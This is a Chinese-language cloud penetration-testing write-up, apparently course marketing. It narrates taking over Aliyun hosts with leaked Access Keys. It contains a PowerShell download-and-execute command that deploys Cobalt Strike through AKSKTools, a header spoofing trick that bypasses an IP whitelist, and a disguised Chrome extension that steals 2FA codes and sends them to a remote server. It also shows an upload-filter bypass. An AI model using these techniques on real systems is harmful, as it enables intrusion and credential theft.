所谓的云渗透通常指SaaS或PaaS渗透,即将服务器端的某些服务搭建在云服务器上,源代码的开发、升级、维护等工作都由提供方进行。从原理上看,云渗透思路与传统渗透思路相差无几。站点必须由底层环境及源代码共同构建,因此会存在常规的Web漏洞(如SQL注入、弱口令、文件上传漏洞、网站备份泄露等)。但由于服务器上云或其部分功能模块被部署在云上,站点也可能对云服务器进行请求,所以除了常规的Web漏洞,新技术也会带来新的风险(如Access Key泄露利用、配置不当利用等问题)。
首先,需要了解何为Access Key。Access Key由云服务商颁发给云服务器的所有者,Access Key即所有者身份的证明。Access Key通常分为Access Key ID和Access Key Secret两个部分。当调用云服务器的某些API接口、某些服务或某些功能点时,可能需要使用Access Key对身份进行认证。因此,如果能获取对应云服务器的Access Key,就可以通过对应的Access Key完成身份认证,进而接管该云服务器。当然,每个云服务商为Access Key分配的权限不同,Access Key泄露可能造成的危害也不同。例如,阿里云为云服务器提供的Access Key是root用户,权限较大,能直接控制ECS;而AWS为云服务器提供的Access Key有限制,有些则是S3或者EC2,但并不一定都拥有上传或修改的权限。除此之外,对于常规渗透泄露出来的Access Key,可以通过特殊手段利用其获取目标镜像,还原VMware虚拟机或通过DiskGinus查看文件。
因此,在进行云环境渗透时,与常规渗透不同,攻击者将更关注是否存在敏感信息、Access Key泄露的情况,其他的渗透测试流程不变。首先,进行资产信息搜集(包括子域名查找、端口扫描、目录扫描、指纹识别等),在查找的过程中留意Access Key等密钥,它可能会在APK文件、GitHub仓库、Web页面、API接口、JavaScript文件、常规配置文件中出现,也可以使用FOFA、ZoomEye、Hunter等网络空间搜索引擎对Access Key等关键词进行查找。如果是AWS的云产品,还可以通过DNS缓存、buckets.grayhatwarfare查找。
当测试者发现Access Key后,通过行云管家、OSS Browser、API Explorer、AWS CLI等云服务器管理工具进行连接。
关系数据库服务(Relational Database Service,RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。
RDS采用即开即用的方式,兼容MySQL、SQL Server两种关系数据库,并提供数据库在线扩容、备份回滚、性能监测及分析等功能。
RDS与云服务器搭配使用,可使I/O性能倍增,内网互通,避免网络瓶颈。
对象存储服务(Object Storage Service,OSS)是阿里云对外提供的海量、安全和高可靠的云存储服务。
云服务器(Elastic Compute Service,ECS)与传统数据中心机房的服务器相似,不同的是,云服务器部署在云端,由云服务商直接提供底层硬件环境,不需要人为采购设备。
安全组是一种虚拟防火墙,具备状态检测和数据包过滤功能,用于在云端划分安全域。同一安全组内的ECS实例之间默认内网互通。
收集信息时,发现目标对应的三级子域名存在spring的接口未授权访问,在 /actuator/env下发现多个密码,且其中存在阿里云的Access Key,故尝试调用heapdump接口,下载内存,提取密文,如图所示。
下载成功后,使用MemoryAnalyzer搜索转存下来的内存文件,获取阿里云的 Access Key密文,如图所示。
在dump的内存文件中还获取了一些内网的Redis和MySQL明文密码,后续如有需要可以使用,如图所示。
拿到阿里云的Access Key后,先查看是否存在云服务器,再查看是否存在存储桶。如图所示,这个Access Key对应的主机有十几台。
将所有存在的主机导出到文本中,并挑选重要的主机为测试目标,最后发现当前的 Access Key分配云服务器应该是测试网络的机器。因为存在多台测试服务器,所以并没有直接部署目标生产网应用服务相关的主机。但目标中有一台主机名为“xxx-跳板机”,名字极其敏感,我们判断它是目标管理人员对生成网系统进行管理的服务器,如图所示。
于是打算先从这台主机开始测试,使用Cobalt Strike进行上线探测,命令如下:
Python AKSKTools.py –ak AccesskeyID –sk AccessKeySecret –r City –t RunBatScript –C "powershell.exe –nop –w hidden –c \"IEX((new-object new.webclient).downloadstring ('url'))\""
命令的截图如图所示。
最后成功上线,如图所示。
如图所示,该机器中存在多个管理账号,和最初的猜想一致。
对该主机进行信息收集,获取到与账号对应的明文密码,还获取了部分信息:3389端口对外开放,当前用户只有admin1有进程;发现admin1使用Chrome打开了目标后台,并且浏览器记录了后台账号和密码(密码是123456),但后台有谷歌验证码(即双因素认证),所以即便有密码也无法登录,如图所示。
后台是另一个域名,后台服务器也不在当前Key中,公网可以访问。在公网登录时,提示IP地址不在白名单内,不过修改XFF即可绕过,如图所示。
使用RDP协议远程连接3389端口,以查看浏览器记录和其他可能保存的密码,但是连接失败,原因大概率是配置了防火墙,并且只允许特定的出口IP地址访问此台服务器的3389端口(如图所示),所以弱口令问题泛滥。
收集特定的出口IP地址,并添加一条防火墙规则,让3389端口对跳板机开放,如图所示。
使用完成后删除对应规则,如图所示。
关键问题仍然在于需要获取谷歌验证码。可以利用谷歌验证码在一分钟内有效的特性,写一个Chrome后门插件,并将其伪装成最常用的百度统计或谷歌插件,利用它监控表单,窃取验证码,如图所示。
当事件被触发时,就将账号密码和验证码发送到远程服务器上,服务器等待接收即可。在目标电脑中打开开发者模式,载入刚刚写好的Chrome后门插件,如图所示。
前台登录测试,不管是单击“登录”按钮还是按回车键登录,都能获取三个值的信息,如图所示。
隐藏对应插件,如图所示。
修改插件,将这三个值发送到服务器上,然后存储到文件中,如图所示。
编写PHP代码,并用其接收对应的参数,代码如图所示。
info.txt是日志记录,login.txt是方便程序调用的文件,如图所示。
后门配置成功后,次日便有账号进行登录操作。但由于其权限较低,且登录时间不固定,所以错过了登录后台的机会。
于是使用Selenium进行会话维持。之所以使用Selenium,是因为站点登录发送的数据包每次都会有随机的token和sign验证,无法重放,计算sign的JavaScript又使用了不可逆的JavaScript加密,所以直接使用Selenium最方便。当login.txt中出现新的账号和密码时,使用Selenium打开浏览器,并模拟用户输入账号、密码和谷歌验证码进行登录。若登录成功,则3秒刷新一次以维持权限,并导出Cookie发送邮件通知;否则退出浏览器,如图所示。
通过努力又获得其他的账号,但权限较低,且进行增删改操作时都要二次验证。不过,既然需要如此频繁地使用验证码,那么不妨大胆猜测其他站点或资源也会频繁使用验证码。于是再次修改Chrome后门,劫持所有单击“登录”按钮或按回车键提交的表单数据,遍历数据寻找六位数的值来获取当前用户输入的谷歌验证码;再利用验证码添加用户。通过该后门,获取了用户账号的使用权限,并通过脚本自动添加了新的管理员,如图所示。
针对已有的账号权限对站点进行简单测试,在发布公告处存在“任意文件上传+黑名单”过滤,检测到后缀为php则删除,如图所示。
上传 结果
1.php > 1.
1.pphp > 1.p
1.pphphphpp > 1.php
7. 结束
测试者使用了很多技巧,如Spring读取星号密文、阿里云Access Key操作(读取示例、执行示例命令、添加策略)、谷歌插件编写、Selenium的使用。在渗透测试的过程中,技法永远不会那么单调
— 实验室旗下直播培训课程 —